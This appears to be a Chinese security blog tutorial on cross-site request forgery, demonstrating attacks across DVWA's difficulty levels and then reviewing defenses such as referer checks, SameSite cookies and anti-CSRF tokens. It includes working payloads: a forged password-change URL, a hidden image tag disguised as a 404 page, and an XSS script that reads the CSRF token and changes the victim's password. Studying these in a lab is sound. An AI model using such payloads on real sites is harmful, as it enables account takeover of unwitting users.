CSRF:跨站请求伪造攻击

目录

什么是CSRF?

DVWA中的CSRF

low

medium

hight

 impossible

防御CSRF

1、验证码

2、referer校验

3、cookie的Samesite属性

4、Anti-CSRF-Token


什么是CSRF?

CSRF全称为跨站请求伪造(Cross-site request forgery),它是一种常见的Web攻击,下面我就来给大家通过学习+复习的方式介绍一下CSRF漏洞,并且会演示一下攻击过程和防御方案

用户在使用浏览器访问页面的操作,实际上是向服务器发送HTTP请求来实现的。

比如说有一个在一个博客中对一个博主的“添加关注”的操作就是向如下URL发起GET请求实现的:

http://example.com/follow?id=userid,这里的userid就是某个博主的id,正常用户是自己点击关注然后就访问该页面,但是如果被攻击者利用,用户在登录了example.com的前提下,然后访问了而已用户构造的恶意网站,网站中有一张指向www.example.com/follow?id=1111,那么浏览器就会带着用户的cookie发出了这个请求,然后就关注了id=1111的用户,但是这是在用户不知情的情况下执行的操作,这种攻击就是CSRF攻击

CSRF常见的利用场景:

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马  让更多人的受害
7、控制受害者机器向其它网站发起攻击

DVWA中的CSRF

下面我就使用DVWA中的不同级别的csrf来演示一下该漏洞的攻击:

low

首先将安全级别修改为low:

然后来到csrf这里:
可以看到这里我们在不输入原本密码的前提,就可以直接修改密码

那么来试试修改一下密码:

可以看到输入密码后就显示密码改变了,并且在url中也很明显可以看到更改时的url

那么现在我们就可以构造一个恶意的url:

http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

如果将上面的URL发动给用户,用户肯定不会随意点击,但是如果我们将该url缩短一下,用户点击的概率就会大概率提升:

然后将该链接发送给用户,用户点击后,密码就会修改:

但是网站还是会提示我们,并且将原来的长连接显示出来,这里我就继续访问了:

点击后的页面:

 现在我们退出后再次登录就会发现密码已经改变了

为了增加成功的概率也可以构造一个错误页面:

<img src=“http://192.168.159.1/dvwa-/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#” border=“0” style=“display:none;”/><h1>404<h1><h2>file not found.<h2>

看起来是一个404页面,但是当用户访问后,密码就会被修改了

medium

既然low没有任何难度,那么我们来到将安全级别修改为medium

等级修改完成,来到CSRF攻击页面,可以看到还是可以不要输入原密码,就可以直接修改密码

那么尝试使用上面的方法来尝试一下:

这里却爆出了说我们的请求看起来是错误的,那么到底是为什么呢?

我们来看看源代码:
 

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}}else {// Didn't come from a trusted sourceecho "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

stripos()函数 :查找字符串在另一字符串中第一次出现的位置(不区分大小写)。 

通过与第一关的代码对比发现这里多了一个REFERER 字段,这里判断HTTP_REFERER中是否包含SERVER_NAME,HTTP_REFERER是Referer参数值,即来源地址 SERVER_NAME是host参数及主机ip名 ,因此这我们就必须要让Referer参数值中有主机名 :

我们可以对比一下在dvwa中修改密码和使用点击短链接来修改密码,浏览中referer字段的区别:

dvwa中修改:

短链接修改:

可以看到这两种方式修改时的referer是不同的,因此我们使用这种方法无法修改密码,但是仅仅使用referer来防御CSRF攻击是不行的,因为referer是可以被修改的,我们可以使用Burpsuite来抓包修改referer然后在发送就可以成功的修改了,下面演示一下:

在使用短链接方式访问的同时,使用Burpsuite抓包来修改referer:

抓到的数据包,修改referer后访问:

可以看到这样成功的绕过了referre限制,然后密码被修改了

hight

那么再将安全等级修改为hight看看csrf这里有什么变化:

可以看到这里还是可以不需要使用原本的密码就可以直接修改密码,但是我尝试了上面的两种方法都无法成功攻击,那么来看看源代码:
 

<?php$change = false;
$request_type = "html";
$return_message = "Request Failed";if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {$data = json_decode(file_get_contents('php://input'), true);$request_type = "json";if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&array_key_exists("password_new", $data) &&array_key_exists("password_conf", $data) &&array_key_exists("Change", $data)) {$token = $_SERVER['HTTP_USER_TOKEN'];$pass_new = $data["password_new"];$pass_conf = $data["password_conf"];$change = true;}
} else {if (array_key_exists("user_token", $_REQUEST) &&array_key_exists("password_new", $_REQUEST) &&array_key_exists("password_conf", $_REQUEST) &&array_key_exists("Change", $_REQUEST)) {$token = $_REQUEST["user_token"];$pass_new = $_REQUEST["password_new"];$pass_conf = $_REQUEST["password_conf"];$change = true;}
}if ($change) {// Check Anti-CSRF tokencheckToken( $token, $_SESSION[ 'session_token' ], 'index.php' );// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert );// Feedback for the user$return_message = "Password Changed.";}else {// Issue with passwords matching$return_message = "Passwords did not match.";}mysqli_close($GLOBALS["___mysqli_ston"]);if ($request_type == "json") {generateSessionToken();header ("Content-Type: application/json");print json_encode (array("Message" =>$return_message));exit;} else {echo "<pre>" . $return_message . "</pre>";}
}// Generate Anti-CSRF token
generateSessionToken();?>

可以看到这里有多了几个防御手段:

1、判断提交的方式是否为POST

2、获取了了HTTP_USER_TOKEN

3、在密码中还使用了mysqli_real_escap_string函数对特殊字符进行了转义

4、并且对密码进行了md5加密

只有上面的条件都满足,才会执行密码修改操作

尝试访问了一下发现确实多了一个token字段:

这里攻击思路是试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而获得token值,并向服务器发送改密请求,完成攻击。

但是,因为浏览器并不允许跨域请求,我们可以利用xss漏洞来解决

点击XSS(Stored),我们需要构造一条语句来获取token,由于有字符数限制,这里有两种方法:

一是利用burp suite进行抓包,然后改参数,运行获取token。

二是利用火狐浏览器。

这里我使用第二种,火狐浏览器打开xss(Reflect)界面

然后构造代码提交:

iframe src="…/csrf"οnlοad=alert(frames[0].document.getElementsByName(‘user_token’)[0].value)>

然后就可以看到反弹出了token 

然后我们在制造恶意链接的时候加上该token,使用抓包的方式修改然后转发就可以实现密码修改了

也可以利用DOM型的xss+CSRF佬实现密码修改:

xss.js:

alert(document.cookie);
var theUrl = 'http://127.0.0.1/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {xmlhttp = new XMLHttpRequest();
}else{xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState ==4 && xmlhttp.status==200){var text = xmlhttp.responseText;var regex = /user_token\' value\=\'(.*?)\' \/\>/;var match = text.match(regex);console.log(match);alert(match[1]);var token = match[1];var new_url = 'http://127.0.0.1/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';if(count==0){count++;xmlhttp.open("GET",new_url,false);xmlhttp.send();}}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();

然后将xss.js放置于在攻击者的网站上:http://127.0.0.1/xss.js

最后CSRF结合同Security Level的DOM XSS,通过ajax实现跨域请求来获取用户的user_token,用以下链接来让受害者访问:

http://127.0.0.1/vulnerabilities/xss_d/?default=English #<script src="http://127.0.0.1/xss.js"></script>

 impossible

最后来到了impossible级别了:这里尝试使用了上面三种方法都无法成功,看看源代码:
 

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_curr = $_GET[ 'password_current' ];$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Sanitise current password input$pass_curr = stripslashes( $pass_curr );$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr );// Check that the current password is correct$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );$data->execute();// Do both new passwords match and does the current password match the user?if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {// It does!$pass_new = stripslashes( $pass_new );$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database with new password$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->execute();// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match or current password incorrect.</pre>";}
}// Generate Anti-CSRF token
generateSessionToken();?>

从代码中可以看到这里多了一个字段,原始的密码,这就要求攻击者要知道原本的密码,攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击,并且后面利用PDO技术防御因此本关暂时还是没有办法绕过的

防御CSRF

下面总结一下防御CSRF漏洞的几种方法:

1、验证码

因为CSRF是在用户不知情的情况下构造了网络请求,而验证码则需要用户必须与软件进行交互才能完成最终请求,因此验证码可以有效的防御CSRF攻击,但是处于用户的体验,网站如果给每个操作都设置验证码,则用户体验会非常的不好,因此这并不是完美的方案

2、referer校验

从上面的演示中也可以看到,使用referer字段可以有一定程度上防御csrf攻击,但是有一些浏览器因为要保护用户的个人隐私,禁止referer,并且referer是可以被修改的,如果攻击者使用iframe记载了data中的url,或者设置了Referer-Policy,都可以不发送referer,这些都会导致防御失效,因此使用refere校验只是防御csrf攻击的辅助手段

3、cookie的Samesite属性

SameSite是一个新的安全属性,服务端在Set-Cookie响应头中通过设置SameSite属性指示是否可以跨域请求中发送该cookie

它有三种值:

  • None

不做任何限制,任何场景都会发送cookie,但是当SameSite为None时,要求cookie只能在HTTPS协议中发送

  • LAX

在普通的跨域请求中都不发送cookie,但是导航到其他网站时会发送cookie

  • Strict

完全禁止在跨站请求中发送cookie,只有当请求的站点与浏览器地址栏中URL中的域名同属一个站点时才会发生那个cookie

可以看到Samesite属性只是限制是否可以发送cookie,但是当我们将SameSite设置为LAX时,网站导航跳转和GET请求都会携带上cookie,这也会造成CSRF漏洞,但是如果设置为Stict虽然不会产生漏洞,但是用户的体验会非常差,因此这个Samesite属性也不是防御CSRF攻击的最佳方案

4、Anti-CSRF-Token

 最终的防御方案就是Token了,CSRF攻击成功的原因就在于所有的参数都是可以被攻击者猜到的,攻击者猜到了参数,然后伪造数据就可以成功攻击,那么针对这一点token的解决方法就是让攻击者“猜不到”,token就是随机生成的一串字符,将其放在cookie或者session中,这样就攻击者就无法猜测出,这样就成功的防御了CSRF攻击

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/668860.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Linux】静态库和动态库

动静态库 一、静态库1. 静态库概念2. 制作静态库&#xff08;1&#xff09;朴素方法 --- 不打包&#xff08;2&#xff09;对静态库打包 3. 使用静态库&#xff08;1&#xff09;朴素方法 --- 直接使用&#xff08;2&#xff09;使用打包好的静态库 二、动态库1. 动态库概念2. …

jenkins 发布远程服务器并部署项目

安装参考另一个文章 配置maven 和 jdk 和 git 注意jdk的安装目录&#xff0c;是jenkins 安装所在服务器的jdk目录 注意maven的目录 是jenkins 安装所在服务器的maven目录 注意git的目录 是jenkins 安装所在服务器的 git 目录 安装 Publish Over SSH 插件 配置远程服务器 创…

不会Git也能玩Github吗?

不会Git也能玩Github吗&#xff1f; 前言使用Github的准备步骤使用一种访问外网资源的方法&#xff08;这一步才是新手最难的一步&#xff09;注册账号 创建一个自己的仓库创建完仓库后的界面 搜索你想要的代码类型以搜索坦克大战为例以下载烟花代码为例 总结 前言 说到Github&…

计算机自顶向下 Wireshark labs——DNS

如本文第2.4节所述&#xff0c;域名系统(DNS)将主机名转换为IP地址&#xff0c;在互联网基础设施中发挥着关键作用。在本实验中&#xff0c;我们将仔细研究DNS的客户端。回想一下&#xff0c;客户端在DNS中的角色相对简单—客户端向其本地DNS服务器发送查询&#xff0c;并收到响…

2023年06月CCF-GESP编程能力等级认证Python编程四级真题解析

Python等级认证GESP(1~6级)全部真题・点这里 一、单选题(共15题,共30分) 第1题 高级语言编写的程序需要经过以下( )操作,可以生成在计算机上运行的可执行代码。 A:编辑 B:保存 C:调试 D:编译 答案:D 第2题 排序算法是稳定的(Stable Sorting),就是指排序算…

Android Jetpack Compose之底部导航栏的实现

目录 1.概述2. 效果展示3. 代码实现3.1 定义底部导航栏的tab项3.2 整体页面架构搭建3.3 底部导航栏的实现3.4 所有代码 4.总结 1.概述 写过一段Android jetpack compose 界面的小伙伴应该都用过Compose的脚手架Scaffold&#xff0c;利用它我们可以很快的实现一个现代APP的主流…

Ubuntu使用Docker部署Nginx并结合内网穿透实现公网远程访问

文章目录 1. 安装Docker2. 使用Docker拉取Nginx镜像3. 创建并启动Nginx容器4. 本地连接测试5. 公网远程访问本地Nginx5.1 内网穿透工具安装5.2 创建远程连接公网地址5.3 使用固定公网地址远程访问 在开发人员的工作中&#xff0c;公网远程访问内网是其必备的技术需求之一。对于…

基于YOLOv8的足球赛环境下足球目标检测系统(Python源码+Pyqt6界面+数据集)

博主简介 AI小怪兽&#xff0c;YOLO骨灰级玩家&#xff0c;1&#xff09;YOLOv5、v7、v8优化创新&#xff0c;轻松涨点和模型轻量化&#xff1b;2&#xff09;目标检测、语义分割、OCR、分类等技术孵化&#xff0c;赋能智能制造&#xff0c;工业项目落地经验丰富&#xff1b; …

五、医学影像云平台 - 医共体

原创不易&#xff0c;多谢关注&#xff01;谢谢&#xff01; 1. 医学大影像设备市场现状 目前影像设备&#xff0c;可以说低端产品同质化越来越严重&#xff0c;利润越来越薄&#xff0c;而高端超高端设备&#xff0c;整体销售额却在增长&#xff0c;利润空间也比低端的要高的…

【240121】桂林电子科技大学—调剂信息

桂林电子科技大学 学校层级&#xff1a;双非 调剂专业&#xff1a;081000 信息与通信工程 发布时间&#xff1a;2024.1.21 发布来源&#xff1a;网络发布 背景&#xff1a;欢迎广大08工学专业考生调剂进我的课题组&#xff0c;电子信息专业&#xff0c;也欢迎往届同学调剂…

SpringMVC-组件解析

一、引子 我们在上一篇文章Spring MVC-基本概念中&#xff0c;为读者解释了如何使用SpringMVC框架&#xff0c;将承接客户端请求的工作从原生的Servlet转移到我们熟知的Controller中。那么我们不禁会好奇&#xff0c;SpringMVC框架到底做了什么&#xff0c;是怎么把请求分发给…

sqlserver alwayson部署文档手册

1、ALWAYSON概述 详细介绍参照官网详细文档,我就不在这里赘述了&#xff1a; https://learn.microsoft.com/zh-cn/sql/database-engine/availability-groups/windows/overview-of-always-on-availability-groups-sql-server?viewsql-server-ver16 下图显示的是一个包含一个…

aspose-words基础功能演示

我们在Aspose.Words中使用术语“渲染”来描述将文档转换为文件格式或分页或具有页面概念的介质的过程。我们正在讨论将文档呈现为页面。下图显示了 Aspose.Words 中的渲染情况。 Aspose.Words 的渲染功能使您能够执行以下操作: 将文档或选定页面转换为 PDF、XPS、HTML、XAML、…

冀蒙辽三地共同推进北斗卫星导航定位基准站资源共享

冀蒙辽三地共同推进北斗卫星导航定位基准站资源共享 近期&#xff0c;冀蒙辽三地共同举办了“北斗卫星导航定位基准站资源共享推进会”&#xff0c;旨在推动北斗卫星导航定位系统的规模化应用&#xff0c;加强区域北斗卫星导航定位基准站网络的协同服务能力&#xff0c;为经济…

Java并发(二十三)----同步模式之保护性暂停

1、定义 即 Guarded Suspension&#xff0c;用在一个线程等待另一个线程的执行结果 要点 有一个结果需要从一个线程传递到另一个线程&#xff0c;让他们关联同一个 GuardedObject 如果有结果不断从一个线程到另一个线程那么可以使用消息队列 JDK 中&#xff0c;join 的实现…

微信小程序 简单优惠卷页面设计

index.wxml <view style"margin: 0.5rem;"><view class"points">我的积分&#xff1a;{{integralInfo}}</view></view><view><view wx:if"{{couponList.length>0}}" wx:for"{{couponList}}" wx:…

MySQL管理的常用工具(mysql,mysqlbinlog,mysqladmin,mysqlshow)

MySQL管理 系统数据库 数据库含义mysql存储MySQL服务器正常运行所需要的各种信息 &#xff08;时区、主从、用 户、权限等&#xff09;information_schema提供了访问数据库元数据的各种表和视图&#xff0c;包含数据库、表、字段类 型及访问权限等performance_schema为MySQL服…

SRS视频服务器使用记录

SRS是一个开源的&#xff08;MIT协议&#xff09;简单高效的实时视频服务器&#xff0c;支持RTMP、WebRTC、HLS、HTTP-FLV、SRT、MPEG-DASH和GB28181等协议。 SRS媒体服务器和FFmpeg、OBS、VLC、 WebRTC等客户端配合使用&#xff0c;提供流的接收和分发的能力&#xff0c;是一个…

【SpringBoot】SpringBoot的web开发

&#x1f4dd;个人主页&#xff1a;五敷有你 &#x1f525;系列专栏&#xff1a;SpringBoot ⛺️稳重求进&#xff0c;晒太阳 Wbe开发 使用Springboot 1&#xff09;、创建SpringBoot应用&#xff0c;选中我们需要的模块&#xff1b; 2&#xff09;、SpringBoot已经默…

车载电子电器架构 —— IP地址获取策略

车载电子电器架构 —— IP地址获取策略 我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 屏蔽力是信息过载时代一个人的特殊竞争力,任何消耗你的人和事,多看一眼都是你的不对。非必要不费力证明自…